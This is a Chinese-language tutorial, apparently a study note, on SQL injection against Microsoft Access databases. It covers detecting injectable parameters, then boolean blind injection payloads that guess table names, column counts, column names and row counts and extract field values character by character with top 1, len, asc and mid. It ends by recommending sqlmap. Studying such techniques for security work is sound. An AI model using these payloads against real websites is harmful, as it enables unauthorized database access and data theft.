Access数据库不像MySQL数据库有information_schema表,所以需要纯暴力猜解。
判断注入点
- 构造数据库中不存在的值:
- ?id=1后加上'或者"看页面回显是否正常,页面回显不正常的话即有可能存在注入点
-
and连接符判断
- ?id=1 and 1=1 页面回显正常
- ?id=1 and 1=2 页面回显错误
-
or连接符判断
- ?id=-1 or 1=2 页面回显错误
- ?id=-1 or 1=1 页面回显正常
判断是否存在注入点的方法有很多,原理是检测我们能否控制参数,并使其与数据库存在交互,只要明白这点,随便什么方法都OK的。
布尔盲注法
猜解表名
跟MySQL不同的时,查询显示位需要跟上一个表,不然会报错。那就可以利用这一特性来进行表名的暴力猜解。构造语句:
`?id=1 and exists(select* from table_name)`
如果table_name存在,那么页面将显示出显示位;如果table_name不存在,页面将报错。
猜解列的数量
根据猜解出来的表名进行列数的猜解,构造语句:
`?id=1 and exists(select* from table_name order by 列数)`
与MySQL猜解列数相同,最后一个使页面回显正常的数字,即为列数。
猜解列名
猜出表名和列数之后,我们可以继续猜解表中的列名,构造语句:
`?id=1 exists(select column_name from table_name)`
如果column_name存在,页面回显正常;如果不存在,页面将报错。
猜解行数
猜完表名和列名后,就需要猜一下这张表一共有多少行:
`?id=1 and (select count(*) from table_name)>10`
如果行数大于10,则页面回显正常;否则页面回显错误。
猜解字段值
这里仍然得依次猜解每列的字段值,逻辑是先猜长度,再猜每个字符,然后拼接。猜完这一列,还有下一列。
1. 猜解column_name_1的值
先猜column_name_1列的值长度
?id=1 and (select top 1 len(column_name_1) from table_name)=5
Access数据库没有limit函数,因此我们这里需要使用top 1来指定行数。-
猜column_name_1列值的字符
第一个字符
?id=1 and (select top 1 asc(mid(column_name_1,1,1))from table_name)=ascii值
若第一个字符的ASCII值与我们指定的ASCII值相等,则页面显示正常;否则页面回显异常。第二个字符
?id=1 and (select top 1 asc(mid(column_name_1,2,1))from table_name)=ascii值
若第二个字符的ASCII值与我们指定的ASCII值相等,则页面显示正常;否则页面回显异常。-
第三个字符
?id=1 and (select top 1 asc(mid(column_name_1,3,1))from table_name)=ascii值
若第三个字符的ASCII值与我们指定的ASCII值相等,则页面显示正常;否则页面回显异常。以此类推,猜完这一列,再猜下一列。
总结
- 日常需要多积累常用的表名列名做字典
- sqlmap一把梭,无敌~